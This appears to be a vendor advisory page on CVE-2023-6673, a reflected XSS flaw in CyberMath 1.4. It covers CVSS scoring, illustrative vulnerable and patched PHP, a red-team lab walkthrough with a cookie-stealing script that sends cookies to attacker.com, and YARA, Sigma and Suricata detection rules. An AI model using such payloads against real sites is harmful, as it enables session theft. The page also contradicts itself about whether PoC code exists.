CVE-2023-6673
Executive Summary
CVE-2023-6673 is a reflected Cross-Site Scripting (XSS) vulnerability in CyberMath, a product by National Keep Cyber Security Services. The flaw exists in versions 1.4 and prior, allowing an attacker to inject arbitrary web scripts or HTML via a crafted request. With a CVSS score of 6.1 (Medium), the vulnerability requires user interaction but no privileges, making it a viable vector for phishing or credential theft. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. The vendor has released version 1.5 to address the issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): Required – victim must click a crafted link.
- Scope (S): Changed – impact extends beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure.
- Integrity (I): Low – limited data modification.
- Availability (A): None – no denial-of-service impact.
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. No active exploitation has been observed, but the potential for phishing campaigns exists.
Deep Dive & Mechanics
The vulnerability is a reflected XSS in CyberMath, a cybersecurity education or simulation platform. The application fails to properly neutralize user-supplied input in web page generation, allowing an attacker to inject malicious scripts via URL parameters or form inputs. When a victim clicks a crafted link, the injected script executes in the context of the victim's browser, potentially stealing session cookies, redirecting to malicious sites, or performing actions on behalf of the user.
The root cause is insufficient input validation and output encoding. The application likely reflects user input directly into the HTML response without sanitization. For example, a parameter like ?search=<script>alert('XSS')</script> would be echoed back in the page.
Vulnerable vs. Patched Code
Vulnerable Code (v1.4):
// Vulnerable: directly echoes user input
echo $_GET['search'];
Patched Code (v1.5):
// Patched: uses htmlspecialchars to escape output
echo htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
The patch applies proper output encoding, preventing script injection.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy CyberMath v1.4 in a controlled environment (e.g., Docker container).
- Access the application and identify a parameter that reflects user input (e.g.,
search,q,error). - Craft a malicious URL:
http://target-cybermath/login?error=<script>alert('XSS')</script> - Send the link to a victim (simulated via browser) and observe the alert box.
Advanced Payload:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
Blue Team
Detection:
- Monitor web logs for unusual parameters containing
<script>,onerror, orjavascript:. - Use WAF rules to block reflected XSS patterns.
- Deploy CSP headers to mitigate impact.
Hunting:
- Search for URLs with encoded script tags (e.g.,
%3Cscript%3E). - Analyze user agent strings for automated scanning tools.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests with parameters containing
<script>,onerror,onload, orjavascript:. - Outbound connections to unknown domains from CyberMath application.
- HTTP requests with parameters containing
- Host:
- Web server logs showing reflected XSS patterns.
- Browser console errors or unexpected redirects.
- File:
- No file-based IOCs as this is a reflected XSS.
Detection Engineering
YARA Rule
rule CVE_2023_6673_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting CyberMath v1.4"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2023-6673"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt Against CyberMath
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts in CyberMath web logs
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '<script>'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in documentation
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-6673 Reflected XSS Attempt"; flow:to_server; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade CyberMath to version 1.5 or later.
- Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to block reflected XSS.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enable HTTP-only and Secure flags on cookies.
- Long-term:
- Conduct code review to ensure all user inputs are properly sanitized and encoded.
- Implement input validation (whitelist approach) for all parameters.
- Use security scanning tools to detect XSS during development.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.